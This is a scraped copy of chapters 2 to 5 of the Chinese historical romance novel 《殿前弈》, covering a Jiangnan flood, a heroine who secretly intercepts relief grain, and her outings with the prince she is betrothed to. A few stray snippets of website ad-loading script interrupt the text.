《殿前弈》 2. 二 天灾 徐清虽没看清来人的面容,但看见了来人袖口用金线绣着的复杂花纹。 想来是来人对自己的功夫十分自信,才未乔装且在青天白日下潜入徐府。 徐清想起一月前栖枝带回来的消息,唇边挂上了一抹微讽的笑。 要不是急着去灾地,她定是要好好会一会这来人。 雨还下着,街上没什么人,徐清拿着扇子在屋檐下疾步行走,有个婆婆遥遥在自家窗户里头看见她,忙推开门。 徐清见状连忙上前,一手撑在门框,一手将一侧的大门重新关上。 身后大雨瓢泼,檐下雨帘不断,雨水飞溅间,徐清的背后霎那间湿了一片。 “怎么了婆婆?” “清清啊,听说发洪水啦?” 徐妗徐清常出门在街上逛,江南富庶,街上人来人往,时常还会给搬东西的阿公阿婆搭把手,会给街边跑闹的小孩吃的,也会照顾生意相对来说没那么好的摊子。徐家公子小姐都没有架子,百姓对他们也亲切。 徐清对上婆婆忧心的面容,抿了抿唇,而后柔柔一笑,安抚道:“没事的婆婆,爹爹和大哥三哥已经带人在加固堤坝了,这几日先不要出门,有什么事情就去徐府找阿姐。” 婆婆瞧见了她束起的发,又见她的穿着,连忙抓着她的手,“你要去哪啊丫头,你不会要去灾地吧,清清啊,很危险的…” 徐清拍了拍婆婆抓着她的手,“放心婆婆,我会保护好自己的。” 说着又从怀里掏出一包从家里带出来的点心,递给婆婆,“这个给淘儿,他念好久了呢。” 婆婆接过点心,让她等着。 徐清站在门口,背后已经被雨打湿了一大片。 婆婆拿了把油纸伞递给她,“要保护好自己啊丫头,来,带着伞被淋湿了。” 徐清笑着接过伞,让婆婆把门合上,待眼前的门关上了,徐清方拿着伞继续往前走。 … 沈祁回到客栈时,圣旨仍未到,但圣上口谕已下达,昭告江南百姓,怀王静王已赶往灾地,物资粮草届时随圣旨一同到。 见沈祁回来了,沈瑜把手中的令牌递给他,看着他脸色不太好的样子。 “你怎么了?” 沈祁接过令牌,抿了抿唇,“没事,明日去灾地。” 沈瑜见他不想多说他也不多问,只是在沈祁转身后看见他束得高高的发尾变得错落不齐,顿了顿,而后搭上他得肩,“你这头发怎么成这样了?” 沈祁瞥了他一眼,看懂了他眼里的揶揄,而后不耐烦地把他手从肩上打落下去,一言不发地走出房门。 看来是吃亏了。 沈瑜看着沈祁的背影笑得肩膀打颤,又不好笑出声。 随后转念一想,沈祁都吃亏了,看来徐家确实不简单,这又敛了笑。 … 徐清到达灾地,特意避开了徐峰三人。 她走在难民之间,许是才失了家,大多数难民身上的衣裳尚可观,但人们脸上的悲痛真切。 徐清走了几步,看见一个小男孩拽着他母亲的袖子喊饿,他的母亲拿不出吃的,只得摸着孩子的脑袋沉沉地叹气。 徐清走向前打开包裹,拿出里面的点心塞给小男孩,“你去分给小伙伴一起吃好吗,姐姐这里不够多,只能先给你们垫一垫肚子。” 小男孩迟疑地接过点心,抬头看着母亲,见母亲点头了,高兴地拿着点心去找伙伴。 徐清站起来,看着面前的女人,开口的声音轻柔又带着能安抚人心的力量,“别担心,朝廷的粮草在路上了,朝廷还派了皇子前来赈灾,待你们都转移到安全的地方后也会开粮仓,会没事的。” 她的声音轻柔,却让在场的人都听了清楚。 她同难民一同睡了一夜,第二日一早便到附近被水淹了的地方寻找被困者。 徐清前脚刚走,后脚沈祁沈瑜就到了。 沈祁骑在马上,手中握着令牌高高举起,昭示着他作为皇子的显贵身份,“粮草不日便会到,先转移到安全的地方。” 沈祁带来的人一部分随沈瑜去组织百姓撤离,另一部分随沈祁去寻找遗漏的受困者。徐家开放粮仓,徐母和徐妗在那分发不多的粮食。 一切都有条不紊的进行,几天过去后,水灾得到控制,值得庆幸的是,没有起瘟疫。接下来就是等朝廷的赈灾粮食到以及重建堤坝的事情。 也是在这时,徐家大哥发现徐清偷跑出来了。 徐珵瞧了瞧徐泽难看的脸色,抬手安抚地拍了拍他大哥肩膀,“别生气大哥,你也知道,真发了水灾四妹妹不可能乖乖待在家里的,估计也在这呢,我去找一找。” 待徐珵走后,徐泽才沉沉叹出一口气。 这已经是这几天中徐清不知道第几次跃到树顶往下望,混浊的洪水中许多物件浮浮沉沉。 没有人影,徐清刚庆幸地呼出一口气,就遥遥地望见一个人正趴在浮木上漂流,身旁许多物件漂过,有的还会撞上他。 徐清立刻落了下去,陷入水中,借着漂浮物靠近那个人。 雨似乎又下得大了些,模糊了徐清的视线,她抬手抹了把脸,斜眼一瞥又望见一个小孩抱着树干,似是在哭喊,在大雨中听得不甚真切。 徐清在混浊的水中思量片刻,决定先去救离得近的小孩。 她用手拨开身旁的漂浮物,没太在意碰到了一个碎了的瓷瓶,掌心渗出鲜血。 徐清疼得倒吸一口气,抬手看了眼,而后忍着疼游到小孩旁边。 小孩没有哭,嘴唇翁动,雨下的大了,洪流开始变的急促起来,小孩看起来快要脱力了。 徐清一手抓住树干稳住自己避免自己被洪流带走,另一只手正要去抱小孩就看见一个比刚刚划伤她手更大的瓷瓶冲着那个抱着浮木浮在洪流之上的人而去。 徐清眸光一敛,抽出别在腰间的折扇甩向瓷瓶。 折扇沾了水重力更大,打在瓷瓶上发出一声脆响,改变了瓷瓶漂流的方向后卡在了对面的另一棵树干上。 徐清轻喘了口气,刚要抱起小孩,有一双手从身旁伸过来先抱起了小孩。 徐清一愣,回身就看见三哥徐珵深沉又无奈的目光。 徐清见是三哥先放了放心,再转头想去救另一个人,却看见已有朝廷来的人去救了。 徐珵什么都没说,一手抱着已经脱水昏过去的孩子,一手拽住徐清仍在往外渗血的手往回游。 二人身后,一道墨蓝身影立于枝头树影间。 沈祁抬眸看向卡在树干上的折扇,身形一动从枝干上落下,抬手取出那把折扇端详了一番,须臾回首看着徐家兄妹的背影若有所思。 徐清被徐珵直接带回了徐府,徐妗见到狼狈的徐清眼眶瞬间就红了,赶紧给徐清处理了一下掌心的伤口,又带徐清洗漱换衣。 此时徐清已换上了一件碧绿色的罗裙坐在铜镜前,徐妗站在她身后为她绾发。 “早知道你会将自己弄伤,我就不让你去了。” 徐妗为她绾了个垂鬟分肖髻,到发尾未束,青丝自然地垂在身后。 徐清转过身拉住她的手,轻轻地晃了晃,“姐姐,我没事,就一点小伤而已,而且我救了人的。” 徐妗笑着拂了拂徐清额前的碎发,“我同母亲说你去找大哥了,母亲还不知道你受伤的事,我同母亲说了,让她陪祖母在家,这几日你随我一同去施粥。” “好。” 徐妗最后抚了抚她落在肩上的几缕青丝:“起来吧,现在跟我去施粥,你回来前大哥还差人来传话,道是晚些时候会回来一趟呢。” 徐清闻言猛地起身,拉着徐妗就往外走,嘴里还催促着:“快走快走。” “慢点儿。”徐妗笑着反握住她,姐妹二人快步往外走去。 徐清随着徐妗来到雨棚下,队伍已排的极长,她用未受伤的那只手拿起勺子给百姓舀粥。 “姐姐?”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 忽而,一道稚嫩的声音在耳边响起。 徐清闻声垂眸看着眼前的小不点,是之前跟母亲喊饿后来拿了她一包点心的小男孩。 徐清应了声,抬起受伤的那只手,用手背轻轻碰了下男孩的脑袋,冲他笑了笑。 雨渐渐小了,这几日雨势反复,徐峰和朝廷的人忙着修筑堤坝,好久没回来了。 徐清听了舒缓出一口气,想着大哥徐泽应当也是去了,短时间内该是不会回来了。 可回到院子里,远远的就看见自家大哥坐在廊下的石凳上。 徐清脚步一顿,刚要转身就被徐泽瞧见了。 “去哪?” 声音穿过长廊从身后传来,徐清的脸色立刻变得苦兮兮的,她慢慢转过身子躲在徐妗身后,嘴里可怜巴巴地唤人:“大哥…” 徐泽气势汹汹地大步而来,似是真的被气得不轻。 几步便走到了姐妹二人跟前,大手一伸就将徐清从徐妗身后拎了出来,“徐锦贞,你真是一点都不让人省心。” 徐清躲不过,乖乖任由徐泽训话。 待徐泽好似气消了不少后,才弱弱伸出缠着布条的手,语气像是在撒娇,“大哥,我救人了的,现在还疼呢…” 徐泽从小就吃她这一套,果然一看就心疼了,语气霎时缓和不少,嘴上却还是不饶她:“疼死你。” 徐妗见此情形,淡笑上前,牵起妹妹的手,截断了徐泽余下又要出口的说教,“大哥,我先带清清去更衣吧,都淋湿了。” 徐泽视线落在两个妹妹微湿的衣裙上,没再多说什么,点了点头,“好,快去吧,别受风着凉了。” 徐清闻言立刻缩回徐妗身后,嘴里还不住地嘀咕:“训了这么久,早就着凉了……” 说完立刻拉着徐妗跑进屋子里,徒留大哥一声微愠的“徐锦贞!” 换下湿衣裳后,姐妹二人一同去陪徐母用膳。 许是因灾情已得到控制,堤坝处也有朝廷来的人看着,徐峰今日也回了家。 在饭桌上徐清还是没能逃过,被徐峰徐泽轮流训斥,连徐珵都忍不住说了她几句,最后得了徐清的保证才放她回了院子。 廊下烛火妍妍,栖枝跟在徐清身后,待进了屋子才开口道,“已经派过人去灾地搜救了,回来的人说尚有气息的都救回来了。” 徐清静默了一下,“好,派人去看看朝廷的粮草到哪了。”而后又想起了什么,“哦对了,我今日在灾地救人的时候用了折扇,你去寻一寻。” 栖枝垂首:“是。” 就这样又过了半月有余,灾情稳定下来,洪水渐渐退去,只是朝廷的粮草还未到。 这天夜里,栖枝从外头拿了个锦盒递给徐清,里头放了把同先前一般无二的折扇。 说来也怪,栖枝回去再找那把折扇却是寻不见了,想来是被洪水带走了。可徐清分明记得那把折扇陷进了树干之中,怎的会被洪水带走。 既寻不到,徐清也没在强求,又重新做了把,现下眼前这把就是新的。 “近一月了,朝廷粮草却仍未到。”徐清语气微凉,“一路上还少了不少。” 新做好的折扇扇锋锐利,徐清拿在手中把玩着,“此次负责押送粮草的是谁?” 栖枝:“回小姐,是宋阳。” “宋阳?”徐清眼眸一眯,“宋太傅之子?” 栖枝:“回小姐,是的。” “他不是与静王交好?” 徐清靠在椅背上,阖着眸轻摇手中折扇,带起一阵阵清凉的微风,“可静王在此赈灾啊,宋家总不会私吞了这赈灾的粮草…” “粮草未及时到,还少了,该是针对两位皇子来的。”徐清睁开眼眸,手中折扇一合,“不管怎样,粮草不够,百姓等不了了。” 徐清站起身,拍了拍衣襟,“走,我们去截粮草。” 须臾,院中闪过两道身影,与此同时,在江南另一处密林中也同样闪过几道人影。 3. 三 粮草 宋阳一身锦衣在溪边打水,神情冷凝。身旁有身着盔甲的侍卫也在打水,神情却颇有些悠闲。 宋阳打完水,又捧起一把溪水往脸上泼,开口语气有些焦急,“还有多久到灾地?” 身旁的侍卫不慌不忙,“快了。” 宋阳脸色又冷冽了几分,“七日前你也是这么说的。”语气比这夜间的溪水还凉上几分,“继续赶路。” …… 已是夜半,街道上只剩隐隐的人声。 一众人把粮草放入醉烟楼后院,黑影人靠在一旁,徐清拍了拍手,欣赏了一番,微一挑眉,“撤。” 而密林里,宋阳抬手挥了挥眼前的空气,而后深深吸了一口气,才站起身。 他走过去拾起那块令牌,看清纹路后猛的握起拳,回头嫌恶地看了眼倒在地上不省人事的众人。 宋阳站在原地,顺了一遍思绪,望着眼前通往江南的林间路,虽然不清楚方才来的人是谁,但顺着来人的计谋走下去好像也不亏。 林间风声簌簌,空气中似乎还回荡着方才女子的嗤笑声。 天光大亮,雨又落得大了些,徐家正厅里,一众人皆眉头紧锁。 粮草迟迟不至,雨久久不停,致使百姓惶惶不安。 “父亲,粮仓的粮草日渐稀少,难民不少,剩下的怕是撑不了几日了。”徐泽说着,眉头紧锁。 徐珵一手握拳愤愤地锤了下桌子,“朝廷的粮草都多久了,按理说早该到了的,怕不是被人吞了!” 坐在首位的徐父眉头紧紧皱着,连日的奔波和操劳让他此刻看起来略显沧桑。 “大人,怀王静王来了。” 徐父闻言,蹭得一下站了起来,“快请进来。” 须臾,沈祁沈瑜走进来,前者手上还拿着把折扇,正晃着,颇有些风流之感。 厅内几人早就在小厮通报的时候就站起身候着了,待二人进来后,几人互相行了个礼。 沈瑜笑着,“徐大人不必多礼,小辈岂敢受您的礼。” 一旁的沈祁睨了他一眼,没说话。 而徐家二兄弟脸上本就僵硬的笑此时更是泛着冷意,偏面前二人还感觉不到似的。 徐父顿了顿,面上更加复杂,“怀王说笑了。” 沈瑜仍笑着,却也没接话。 一旁的沈祁收起折扇,微微一笑,直接道:“徐大人,我二人此时前来是为一件事。” “可是有关粮草之事?” 沈祁点头:“是。” 徐父作了个‘请’的手势,“二位王爷坐下说。” 二人也没客气,坐下后沈祁继续道:“此时负责送粮草的乃是当朝宋太傅之子宋阳,今日天未亮之时他到客栈与我们说粮草被劫了,还带来了劫粮草之人身上掉下来的令牌。” 彼时徐清正坐在自己闺房中,悠闲喝茶。 “小姐,怀王静王来了。”栖枝站在徐清身旁轻声道。 徐清晃了晃手中的折扇,“嗯,醉烟楼那怎么样了?” “怀王静王的暗卫已经在那了,醉烟楼的人今早发现那些粮草吓了一大跳,现在正想办法送去更隐秘的地方。” 徐清唇角勾起,似是对各方反应十分满意。 大厅内。 “令牌已经派人快马加鞭送回长安,宋阳疑心劫粮草一事是有人蓄谋已久,在送粮草的队伍中安插了人,从而里应外合。”沈祁顿了顿,从怀中掏出一枚令牌,“这是从那内应身上搜到的,我们兄弟二人来之前已经问出粮草去向。” “在哪?”徐父听了许久终于听到最重要的了,急切都写在了脸上。 天知道他有多急,粮仓粮草早就告急,如今朝廷送来的赈灾粮草再被劫,那于百姓而言又是一场灾难。 “在醉烟楼。” 几人随即动身前往醉烟楼。 “小姐,三公子已经随怀王静王前往醉烟楼了。”这次是歌槿进来。 徐清换了一身轻便衣裳,“嗯,让我们的人撤回了。” “是。”歌槿应了一声,又转身出去。 醉烟楼因着灾情,生意也并不好,此刻看起来较为冷清。 “徐三少爷,我们这儿做的可是正经生意,你带人围着我醉烟楼不太好吧。”一女子笑的妖媚,正好挡住大门。 徐珵站在女子面前,同样笑的散漫,“我当然知道你们做得是正经生意,可这粮草在这儿附近被劫了,我们总的在这儿找一找吧,不然朝廷怪罪下来,我可承担不起。” 妖媚女子咬牙,粮草根本不是在这儿附近被劫的,这徐三公子真是会睁眼说瞎话。 这女子深吸一口气,荡开一个更媚的笑,“三少爷要搜,小女子也不能拦着,但您瞧着这天还早着,可否让小女子将院里的姐妹们先喊起来收拾收拾?毕竟女儿家也是要脸的。” 徐珵笑意微敛,“自然。” 他看着那女子扭着腰肢走进醉烟楼,唇角放下,“找到了吗?” “回公子的话,这里有暗卫,进不去。” 徐珵闻言,眼一眯,“果然不简单。” 不一会儿,那女子又出来,行了个礼,“三少爷,请。” 徐珵瞧着她,没说话。 等了好一会儿也没动静,那女子抬头,疑惑地看着徐珵。 徐珵笑着,随后朝身后的人打了个手势。 随后一群人迅速冲进醉烟楼,又用极快的速度退出来。 “没有。”一小厮站在徐珵身旁低声道。 徐珵了然,微微一挑眉,“行,看来误会了,那就不打扰姑娘做生意了,告辞。” 女子笑着又行了一礼,“三少爷慢走。” 徐珵带着人往另几家店面走,装模作样地让人搜了搜,随后回到徐府。 “去把四小姐喊过来。”徐珵回到府中立即对身旁的小厮吩咐道。 彼时的徐清刚回到府上。 茶案上青烟袅袅,栖枝进门落座。 阿尘听到动静,抬眼打量着眼前的人,手中给面前的两个杯子倒上茶水。 面前这女子穿着暗红色衣裳,三千青丝用一根发簪轻巧地绾了个极简单的发髻,面上带着面纱,看不清容颜。 室内一时安静,须臾,阿尘放下茶杯,笑着道,“姑娘不是我要找的人吧,你主子呢?” 栖枝轻轻抿了口茶,蹙了蹙眉,“这茶太浓了。” 阿尘笑意僵了下,表情里带了些阴沉。 栖枝放下茶杯,“我家主子说了,做交易要看诚意的。” 阿尘面上的笑淡下去,气氛僵持了一会儿,“行,劳烦姑娘同你主子说一声,我们改日再约。” 这是一场极短甚至算得上没有意义的会面。 但徐清大概猜到是谁了。 还在屋里分析现下局势的徐清刚喝完一杯热茶,外头来了个小厮。 “小姐,三公子请你过去一趟。” 徐清闻言抬眸,略微一思索,冲栖枝使了个眼神,随后起身,“知道了。” 徐清走过弯绕的连廊,来到前厅,扫了眼确定只有徐珵一人后便毫无顾忌的坐下。 不过徐珵也不计较这个,见她来了,也坐在她边上的位置。 徐清慢悠悠地捻了块糕点,也不急着问徐珵喊她做什么。 徐珵看着她,略略有些无语,给她倒了杯茶放在手边后才开口:“今日怀王和静王来了。” “噢。”徐清应了一声,端起徐珵方才倒好的茶水喝了一口。 徐珵默了片刻,见她反应不大继续道:“他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们说粮草被盗了,放在醉烟楼,他们想着他们直接去搜不太好,所以来徐府,希望我们带人去。” “嗯。”徐清依旧反应平淡,又拿起一块糕点继续吃。 徐珵看着她,眉头一皱,“你很饿吗?” 徐清一顿,把咬了一口的糕点放回去,把手上的屑拍掉,端端正正地坐好,然后抬眸眼神炯炯地看着徐珵,“你继续。” 徐珵梗了一下,“然后我就带人去了,但是到那被拦住了,后来搜了也没搜到,我……” 徐清:“?你怎么了?继续啊。” 徐珵吐出一口气,“你继续吃吧,别看着我了,给我渗得慌。” 从未接受到自家亲妹这么热烈注视的徐珵实在受不了徐清这发着光的眼神。 最主要的是,她这样专注的眼神,又一动不动,只是盯着他看,实在让他觉得自家妹妹有点傻。 徐清翻了个白眼,整个人又放松下来,重新拿起那块咬过的糕点,“然后呢,继续说啊。” 徐珵看着眼前的妹妹没有刚刚看起来那么傻了后也不自觉地放松了一点,“我觉得应该是被转移了。” 徐清闻言皱了皱眉,她后来把自己的人撤回来了,没想到一下子他们就把粮草转移了。 又思索了一会儿,“你能不能把过程详细说一遍。” 徐珵喊她过来就是为了讨论一下这粮草会被转移到哪去,毕竟堤坝的修建还没完成,徐父和徐泽得持续跟进,徐母和徐妗仍在安抚灾民。 全家上下就眼前这个年纪最小,打小就被宠着又胆子大得很的四妹妹最清闲。 说到胆子大,徐珵多少感觉到自家妹子不简单,但瞒得太好了,也只是感觉而已。 徐珵把过程描述了一遍,最后收获了自家妹子的一记白眼。 “你认真搜了吗?” 徐珵懵了一下,“她都转移了还有仔细搜的必要吗?” 徐清吸了一口气,“障眼法啊笨蛋,人家是傻子吗,那么多粮草他们怎么转移?转移不了当然得赌一把啊!” 徐珵怔了下,转而皱眉,“不可能,怀王静王的暗卫在那,没转移走怎么不……”说到一半自己都愣住了。 一下子他就明白自己离开时朝着在喝茶酒肆等着的两位王爷打手势时他们为什么会愣一下而后露出有些难言的微笑了。 接收到徐清无语的眼神后,徐珵突然觉得看起来傻和真正傻的应该是自己。 在未来姐夫和妹夫面前犯傻还以为自己分析对了的徐珵一时难以接受,立刻带人又去醉烟楼,不顾里头女子的喊叫,把楼上上下下里里外外都搜了一遍。 这下不仅搜到了未来得及全部转移粮草,还搜到了些其他的一些东西,最后把这些东西整理起来交给了两位皇子。 醉烟楼被封,而两位皇子则立刻派人把这些东西快马加鞭地送回长安。 一切似乎都安定下来了,就静待朝廷的动静了。 客栈内。 两兄弟正下着棋。 “宋阳说的,把粮草从那伙人劫下来的女子,你怎么看?”沈瑜执白子,下完一颗再拿一颗。 沈祁就不一样了,他指尖夹着一颗黑子,手掌里还握着几颗,等沈瑜下的时候便把手腕懒懒地搭在膝上,手掌朝上,不紧不慢地盘着几颗黑子。 “不好说。”沈祁抬手放下一颗黑子,随后手腕又搭回膝上,“不过暂时不是威胁。” 沈瑜轻笑了一下,“她想劫粮草大概是知道江南百姓等不了了,不过她能想到把粮草送去醉烟楼,应该是对朝廷挺熟悉的。”顿了顿,又落下一子,“毕竟,连我一开始也不知道醉烟楼竟是刘家的产地。” 沈祁挑了挑眉,不置可否。 几日后,刘家被降罪,势力大减。 4. 四 相见 “二小姐四小姐,老爷请你们去前厅一趟。” 粮草顺利抵达,堤坝修建提上日程,灾情过去,进入盛夏,江南又恢复了往日的繁荣安宁。 此时,徐清和徐妗正坐在廊下石凳上对弈。 徐妗眉头微蹙,纤细白皙的指间捻着一颗白子,闻言,执子的那只手在空中挥了挥,又落在棋盘上,“知道了。” 徐清顿了顿,看着棋局略微思索后落下一子,迅速结束了这场对弈,抬起头露出一个笑,“我赢了。” 徐妗扫了眼棋盘,笑了笑,把刚刚捻起的白子放回,轻叹一口气,“又输了。” 姐妹俩同时站起身,边走边商量着待会去哪走走。 走在弯折的长廊中,廊边清池里红鲤一跃,溅起池中水,在明媚的阳光下折射出微光,正巧落在了廊中快步行走的女儿家的绿罗裙摆上,晕开一朵朵水花。 风拂过,带落枝头几朵摇摇欲坠的艳红,落在池中,惊起一池春皱。 姐妹俩一路说笑着,快到大厅门口时被徐母身边贴身的侍婢拦了下来,拿出面帘给二人带上。 对上徐清的目光,婢女压低了音轻声道:“怀王静王来了,在同老爷说着二位小姐的婚事。” 姐妹俩脸上的笑意淡下来,点了点头后端好仪态,走进大厅。 瞧见姐妹俩进来,厅内的声音停下。 给徐父徐母行过礼后,姐妹俩顿住,待徐父开口介绍后才朝着两位皇子行礼,最后落座于二人对面。 大厅中安静一瞬。 许是重要的事情已经谈完了,一时间谁都没开口说话。 徐父张了张嘴,最后又咽下,只是笑着道:“清清妗儿,怀王静王不日便要启程回京了,你们带二位王爷去逛逛,赏赏江南的美景,看看江南民风。” 恼人的梅雨季过了后,江南一片晴朗,大街小巷恢复了往日的喧闹。 “诶,小心。”沈瑜瞧见探身出去摘荷花的徐妗脚底打滑,情急之下伸出手拽住徐妗的手腕将人带了回来。 徐妗还没从即将落水的惊吓中回过神就已经安稳地坐回小船里,手里拿着的荷花娇而不艳,几滴水滴顺着花瓣的弧度滑进花心中。 船内一时安静,极小的茶案上飘着淡淡的茶香。 自打从徐府中出来,再到上船游湖,四人都没有开口说过话,方才沈瑜情急脱口而出的提醒是第一句话。 沈瑜猛的松开手,端起茶杯一口饮尽,方才再次开口:“抱歉…我…” 徐妗回过神,晃了晃手中的嫩荷,把花瓣上的水滴甩回湖中,她抬起头抿唇一笑,“公子不必道歉,是我该谢公子。” 沈瑜不再言语,又倒了杯茶,低头抿着。 徐清从沈瑜伸出手时便一直盯着他,此时船内又陷入安静,她便收回视线,也探身出去摘了几朵娇嫩的荷花和嫩绿的荷叶,顺手还摘了几个莲蓬。 她没像徐妗那样把荷花花瓣的水珠甩干,只是把它们拢在一处放在脚边,水珠顺势流淌下来汇成一处水滩,她倾身又回来的瞬间裙裾晃动,霎那间打湿了裙摆。 “阿翁,转回去吧。”徐清轻声对船头划桨的老伯道。 徐清把摘好的荷花荷叶和莲蓬放在一处,懒懒地坐下,身子倚在船上,撩起袖子,把手放进湖水中,感受着湖水荡漾。 船内依旧安静。 男女之间话题不通,每次徐妗想开口时又不知说些什么,若谈起堤坝或者是失而复得的粮草又怕二位皇子回多想徐家女儿为何关心这些,但女儿家的话题想来二位皇子也不感兴趣,便又悻悻地闭上嘴。 船离岸渐进,船身碰上玉立着的荷花,几滴水珠溅起,徐清拂去面上水珠,便听见不远处的喊声。 “清清姐姐!妗儿姐姐!” 姐妹俩抬眼望去便看见几个稍显少年模样的孩童挽着裤脚,怀里抱着几个又大又粗的莲藕跑来。 船稳稳靠岸,姐妹俩向老伯道了谢,抱起荷花荷叶。 “淘儿,你又去挖藕啦?”徐清把怀里的荷花荷叶交给在岸上等着的歌槿,笑眯眯地看向少年,“瞧瞧,腿上都是泥。” 徐妗掏出帕子递给他们,“快擦擦,都流汗了。” 名唤淘儿的少年不好意思地笑了笑,腾出一只手接过帕子随意一抹递给身边的小伙伴,然后把怀里的莲藕递出来,“清清姐姐妗儿姐姐,这是我们刚挖的,给你们!” 徐清拿起两个,抱进怀里,“两个就好啦,这个藕好大啊,吃不完。” 说着,突然想起什么,微微侧身伸出一只手从歌槿手中抽出几个刚刚摘下的莲蓬,然后递给淘儿,“这是姐姐刚摘的,给你们。” 淘儿也没客气,收了下来,然后又道,“清清姐姐,你上次给的糕点太香了,下次再给我带点。” 徐清笑了笑,伸出一直手,用食指点了点他的额头,“知道啦,就你最馋嘴。” 淘儿挠了挠后脑,吐了吐舌头,一旁的小伙伴们见了也笑着说他们也要。 徐清挨个点了脑门,应了下来。 站在二人身后的沈瑾沈祁静静看着她们,可以看出传言中的徐家与江南百姓关系不错是真的。 沈瑜默了默,随后笑出声,“我大概知道为何徐家能够将江南治理得如此繁荣了。” 身为一方最大的官家的小姐,同百姓相处起来却没有丝毫架子。 若是在京城便是排不上名的官家子女出行都需马车,且随从环绕,生怕有不长眼的凑近他们,架子十分大。 沈祁看着在前头的女孩,带着面帘也掩不住的笑容,怀里抱着白白胖胖已经洗干净的莲藕。 “嗯。”沈祁应了声。 淘儿他们离开后,徐清让家丁把摘来的荷花荷叶莲蓬和那两个淘儿送来的莲藕带回徐府。 徐妗朝二人盈盈一拜,柔声道:“时辰尚早,若二位王爷不嫌弃,便随我们姐妹二人走一走这江南街道。” 沈瑜笑着做个了请的手势,“徐二小姐不必多礼。” 一路上徐清徐妗都在与街边小贩打招呼,偶尔搭手帮忙,未走几步手里就多了糖葫芦糖人和许多稀奇古怪的小玩意。 且都不要钱。 徐妗边走还会边向沈瑜沈祁介绍,许是关系好,街边小贩见到姐妹俩身边高大的身影还会调侃几句,无非就是郎才女貌、般配等等话语。 徐妗徐清就笑着不应这话,待再抬步时才低声对沈瑜沈祁道:“二位公子莫生气,江南民风如此,并无恶意。” 沈瑜笑着摇了摇头,“无碍。”顿了顿,又补上一句,“挺好的。” 空气仿佛都寂静了一瞬。 徐妗和徐清本想笑笑揭过这个话茬,却不知那头沈瑜自己反应了什么,又慌忙摆手解释,“我的意思是,百姓如此……挺好的……” 徐妗一愣,眸中略带疑惑的瞧了眼沈瑜,倒也没多说什么。 倒是徐清不动声色地落后几步,从后头瞧着沈瑜和徐妗,眉峰微微蹙起。 “徐四小姐作何一直盯着我兄长看?” 她拉开了与沈瑜和徐妗之间的距离 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,却不知何时与沈祁的距离变得近了。 听到这道极近的声音,徐清惊了下,慌忙退后两步,与沈祁拉开些距离。 徐清抿了抿唇,“公子误会了。” 江南街道人来人往,几人出门在外,便是唤两位皇子为公子。 沈祁没接话,挑了挑眉,展开折扇晃了晃。 徐清眸色一顿,盯着他手中的折扇,像是在思索什么,片刻后才移开目光,而后转头又瞧了眼前头的二人。 随后她往沈祁身边挪了一些,“公子,我瞧着阿姐同令兄聊得挺好,不如我带你去别的地方看看?” 闻言,沈祁低眸瞧了眼她。 不过一会儿,沈祁又和徐清回到了小舟上。 此刻他站在船头,思考自己为什么会答应。而徐清就站在他旁边,手里握着桨。 不一会儿,小船摇摇晃晃驶出了人家,两岸青草翠绿,花开正好。 沈祁盘腿坐在了徐清身后,一点也没有让女子划桨的负罪感,还笑眯眯地看着她的背影玩笑。 “徐四姑娘,你不会要把我带去一个没人的地方秘密解决掉吧?” 徐清划桨的动作没停,也没分个眼神给他。 许久都没得到回话的沈祁觉得没劲极了,于是转头无所事事的打量周围的景色,山清水秀,很适合游玩和居住。 忽地,他瞥见船边窜过去的几条小鱼,摇晃着尾巴,他好奇似的把手伸进水里,水中的鱼儿像是被吓了一下,连忙散开。 过了会儿,许是这只手一直没动作,让它们觉得无害,于是又擦着这只手游过去。 忽地,沈祁将摊开的手掌猛的合拢,一群鱼立即又散开,但还是被沈祁抓住了一条,现下正在他的掌心里扑腾。 沈祁垂眸抬起手,还没来得及欣赏鱼儿在手掌心里扑通挣扎的模样,就感觉到一股劲风朝他而来。 他本能一闪,扇风擦着他的脸颊而过,而后扇柄重重敲在了他的手腕上,顺势缓了力道,卡在了船沿。 沈祁抓着鱼的手腕被狠狠一敲,下意识松了手,鱼儿落回河中,激起水花,而后迅速游离。 沈祁愣了下,手腕隐隐发疼。 在这期间,徐清已经把船停岸,走到他身旁,弯腰抬手把扇子取了回来。 几缕青丝不安分地从她肩头滑落,扫过沈祁的面颊,有几分痒意。 她握着扇子,学着他方才在街上摇扇故意挑衅她的样子晃着折扇。 “公子可还好?” 沈祁回神,不带表情地仰头看她。 只见面前的青衣女子微微笑了笑,“本来没这个打算的,既然公子提了,倒是可以试试。” 沈祁又是一愣,才想起他方才说的话。 他起身跟着徐清上岸,高束的马尾随着他的动作在空中扬起一道弧线,与火红的发带一同垂落在肩头。 两人手里拿着一般无二的折扇。 沈祁嬉皮笑脸地摇着与徐清手中一般无二的折扇,“徐四姑娘慎言,若是我真出事儿了,那徐四姑娘可就要守寡了。” 闻言,原本还带着浅笑的徐清脸色迅速冷淡下来。 四人自见面来便没提过这圣旨赐婚的事儿,徐家姐妹不想提,沈家兄弟觉得不必与她们提。 因为无论徐家姐妹愿不愿意,都得嫁。 徐清突然觉得厌烦,早知道就继续和阿姐逛街了。 她不自觉加快脚步,开口声音淡淡,带着一股子不明显的杀气和极明显的不痛快,“天下竟有这等好事。” 5. 五 戏弄 沈祁跟在徐清身后走进林子里,四周寂静,时不时传来鸟鸣。 现下沈祁不敢离徐清太近,他明显地感受到了徐清的。 他摸了摸自个儿鼻尖,开始反思自己是不是说错话了。 他追上几步,想说姑娘家家戾气不要那么重,瞥见徐清无甚表情的脸又堪堪咽了回去。 走了许久,沈祁终于忍不住问:“我们去哪啊?” 徐清面不改色,“找个隐蔽的地方,埋了你。” “?” 沈祁不再说话,闷声闷气跟着她走。 不过他还挺好奇的,一个女孩子有这么大的胆子带个刚见面的男子单独外出,还来这种荒郊野岭的地方,他是不担心她能真的埋了他,他承认面前这女子有两把刷子,但单打独斗也不可能取胜。 再说了,他是皇子,她是被赐婚给他的姑娘,背后还有徐家,他可不能在江南地界出事儿。 不过他也纳闷,一个姑娘家怎么能坚持走这么久的路还不歇一下的。 又过了一会儿,徐清终于停了下来。 沈祁从她身后走上来,看到眼前的境况愣了一下。 眼前是一片桃林,此时早已过了桃花盛开的季节,树上已结出累累硕果。 “这里竟然有一片桃林。” 